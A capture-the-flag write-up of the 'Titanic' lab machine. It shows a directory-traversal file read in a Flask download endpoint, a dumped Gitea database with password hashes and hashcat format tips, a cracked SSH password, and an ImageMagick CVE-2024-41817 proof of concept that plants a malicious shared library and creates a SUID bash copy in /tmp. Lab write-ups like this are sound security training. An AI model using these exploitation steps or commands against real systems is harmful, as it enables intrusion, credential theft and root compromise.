Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user.
While exploring the main website we launched immediately a subdomain fuzzing and we got a hit pretty quickly.
We will add the subdomain to our /etc/hosts file but lets first explore the main site completely.
The first makes a request and then the backend generates a json which we fetch with the second endpoint. Furthermore we observer the web server and python version of the server: Werkzeug/3.0.3 Python/3.10.12.
The web app behavior hints us to try check the ticket parameter for any misconfiguration. With a simple test we uncover Directory traversal / Arbitrary file read.
We land in a Gitea server. Let’s see what sources we can uncover here.
Info
Gitea is a forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, code review, continuous integration, kanban boards, tickets, and wikis. It supports self-hosting but also provides a free public first-party instance.
Exploring the repos we find one holding a mysql docker file.
We also see the web app in python we managed to find the dir traversal vulnerability.
If we look at the python code holding the /download endpoint we can clearly see where the problem lies.
1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/download',methods=['GET'])defdownload_ticket():ticket=request.args.get('ticket')ifnotticket:returnjsonify({"error":"Ticket parameter is required"}),400json_filepath=os.path.join(TICKETS_DIR,ticket)ifos.path.exists(json_filepath):returnsend_file(json_filepath,as_attachment=True,download_name=ticket)else:returnjsonify({"error":"Ticket not found"}),404
Important
Directory traversal vulnerability occurs because of how os.path.exists is used here. Check its behavior.
When we place is slash ‘/’, everything that comes before it is discarded!
At this point knowing the user, developer we can just grab the flag. But let’s try to get access first.
Looking at the repos we observe the data folder for gitea.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
version:'3'services:gitea:image:gitea/giteacontainer_name:giteaports:- "127.0.0.1:3000:3000"- "127.0.0.1:2222:22"# Optional for SSH accessvolumes:- /home/developer/gitea/data:/data# Replace with your pathenvironment:- USER_UID=1000- USER_GID=1000restart:always
We already know that /home/developer/gitea/data is the main path for the gitea data.
Checking out the configuration of gitea we see how the data structure looks(main file is app.ini) like and where the main config file may be saved.
Specifically for docker installation the docs say state: Customization files described here should be placed in /data/gitea directory. If using host volumes, it’s quite easy to access these files; for named volumes, this is done through another container or by direct access at /var/lib/docker/volumes/gitea_gitea/_data. The configuration file will be saved at /data/gitea/conf/app.ini after the installation.
sqlite> select * from user;id|lower_name|name|full_name|email|keep_email_private|email_notifications_preference|passwd|passwd_hash_algo|must_change_password|login_type|login_source|login_name|type|location|website|rands|salt|language|description|created_unix|updated_unix|last_login_unix|last_repo_visibility|max_repo_creation|is_active|is_admin|is_restricted|allow_git_hook|allow_import_local|allow_create_organization|prohibit_login|avatar|avatar_email|use_custom_avatar|num_followers|num_following|num_stars|num_repos|num_teams|num_members|visibility|repo_admin_change_team_access|diff_view_style|theme|keep_activity_private
1|administrator|administrator||[email protected]|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|[email protected]|0|0|0|0|0|0|0|0|0||gitea-auto|02|developer|developer||[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0
Let’s give this to hashcat and try to crack the hashes. What may not be trivial here is the format for PBKDF2 as it can be tricky and hashcat’s examples list multiple times.
We tried a lot but the correct one is the main one PBKDF2-HMAC-SHA256 which follows the format: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=.
From the database above we need to convert the password hash from hex to base64 (cyberchef can help here) and also to use the hash which is the one before the language.
And looking it up online we uncover CVE-2024-41817, an Arbitary Code Excution for the version we have installed!
We download a public PoC and try to exploit this.
1
2
3
4
└─$ python exploit.py -H titanic.htb -p 22 -u developer -P 25282528 -d
[!] Mode detection only
[+] ImageMagick version: 7.1.1-35
[+] ImageMagick version is vulnerable
We confirm that our version is vulnerable. Let’s use the exploit.
Tip
The root of the issue lies in how certain ImageMagick builds are compiled: the current working directory is included in the search path for configuration files and shared libraries.
The proof of concept works by placing a malicious shared library named libxcb.so.1 in that directory. This library is normally used for low-level interaction with the X11 windowing system. Because ImageMagick loads this library and checks the current directory as part of its search path, it ends up loading the attacker-controlled version instead.
More about the vulnerability and PoC can be found here
We could have build the shared library ourselves on the victim host but we will do it again with the python script we got.
We will copy bash somewhere we can access it and set the SUID/GUID bits.
1
2
3
4
5
6
7
8
9
10
11
12
└─$ python exploit.py -H titanic.htb -p 22 -u developer -P 25282528 -A -c 'cp /bin/bash /tmp/p4n4; chmod 6777 /tmp/p4n4'[!] Mode auto, detection, build and push the payload to the target
[!] Auto mode
[+] ImageMagick version: 7.1.1-35
[+] ImageMagick version is vulnerable
[!] Building payload
[!] Payload created in "/home/p4n4/Desktop/htb-labs/linux/titanic/CVE-2024-41817-poc/out/delegates.xml"[*] Compiling shared library with gcc...
[+] Shared library successfully compiled: out/libxcb.so.1
[+] Shared library ready to use: out/libxcb.so
[+] Payload delegates.xml successfully sent to /tmp/
[+] Payload libxcb.so successfully sent to /tmp/
Important
Now we need to transfer the shared library to the folder where the script is running as root, as this is the whole point of the vulnerability!